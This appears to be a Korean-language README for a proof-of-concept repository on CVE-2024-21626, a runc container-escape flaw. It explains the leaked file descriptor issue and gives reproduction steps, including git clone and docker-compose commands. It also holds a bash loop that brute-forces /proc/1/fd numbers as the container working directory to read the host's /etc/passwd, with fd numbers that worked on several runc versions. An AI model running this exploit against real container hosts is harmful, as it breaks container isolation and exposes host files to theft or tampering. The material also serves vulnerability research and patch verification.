
CVE-2024-21626-poc-research-Reappearance-andtodo
이용:
1.git clone https://github.com/cdxiaodong/CVE-2024-21626
2.docker-compose up
검증: 호스트의 /etc/passwd를 획득할 수 있다면 해당 취약점이 존재합니다.
환경: runc: >=v1.0.0-rc93,<=1.1.11
공격 세부 원리: runc 영향 버전에서는 초기화 과정에서 호스트의 /sys/fs/cgroup 핸들을 포함한 일부 내부 파일 디스크립터가 유출되며, runc는 최종 작업 디렉토리가 컨테이너의 마운트 네임스페이스 내에 있는지 검증하지 않습니다. 공격자는 process.cwd 설정을 /proc/self/fd/7로 수정하거나, 호스트에서 runc exec 호출 시 --cwd 매개변수에 전달된 특정 경로를 /proc/self/fd/7/ 심볼릭 링크로 대체하여 컨테이너 내 프로세스가 호스트의 파일 시스템에 접근하고 조작할 수 있도록 하여 컨테이너 격리 메커니즘을 우회할 수 있습니다. 자세한 내용 (gif 이미지):

CVE: CVE - CVE-2024-21626 (mitre.org)
이 취약점을 발견한 연구자: CVE-2024-21626 runc process.cwd 및 유출된 fds 컨테이너 탈출 | Snyk (snyk.io)

실제 fd는 파일 열기 순서에 따라 변경될 수 있습니다. 다음 스크립트를 사용하여 브루트포스할 수 있습니다.
/// #!/bin/bash
for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
로컬 테스트 성공:
fd/9를 이용하여 runc-version: 1.1.10, 1.1.2에서 구현

runc --version이 1.0.0일 때

runc --version이 1.1.4일 때 fd/8로 구현

오늘 막 나온 취약점입니다. 아래에서 더 자세한 내용을 설명합니다.
다음과 같은 방법으로 재현할 수 있습니다.
todo: runc 브레이크포인트를 통해 df를 얻어 자동화 구현